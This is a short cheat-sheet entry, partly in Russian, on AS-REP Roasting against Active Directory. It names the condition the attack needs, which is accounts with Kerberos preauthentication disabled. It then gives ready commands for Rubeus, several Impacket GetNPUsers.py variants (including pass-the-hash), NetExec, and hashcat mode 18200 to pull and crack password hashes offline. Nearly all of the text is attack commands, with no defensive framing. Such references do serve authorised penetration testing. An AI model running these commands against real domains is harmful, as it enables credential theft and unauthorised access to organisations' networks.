AS-REP Roasting

Условие для проведения атаки:

• Учетная запись с аутентификацией без предварительной проверки подлинности Kerberos

Rubeus.exe asreproast /outfile:$result_File

После отправки на DC KRB_AS_REQ сообщения от имени пользователя, у которого отключена предварительная аутентификация, в ответ присылается KRB_AS_REP сообщение, содержащее сессионный ключ, зашифрованный с использованием секрета указанного пользователя. Таким образом можно попытаться подобрать пароль оффлайн по словарю.

Request

The Impacket script GetNPUsers (Python) can get TGTs for the users that have the property Do not require Kerberos preauthentication set.

# users list dynamically queried with an LDAP anonymous bind
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

# with a users file
GetNPUsers.py -usersfile users.txt -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/'

# users list dynamically queried with a LDAP authenticated bind (password)
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -dc-ip $KeyDistributionCenter 'DOMAIN/USER:Password'

# users list dynamically queried with a LDAP authenticated bind (NT hash)
GetNPUsers.py -request -format hashcat -outputfile ASREProastables.txt -hashes 'LMhash:NThash' -dc-ip $KeyDistributionCenter 'DOMAIN/USER'

This can also be achieved with NetExec (Python).

Copy

netexec ldap $TARGETS -u $USER -p $PASSWORD --asreproast ASREProastables.txt --KdcHost $KeyDistributionCenter

The kerberoast pure-python toolkit is a good alternative to the tools mentioned above.

Brute

.\hashcat64.exe -m 18200 --force -a 0 .\hash.asreproast .\pass.txt

hashcat -m 18200 $asrep_hashes_file $dict_file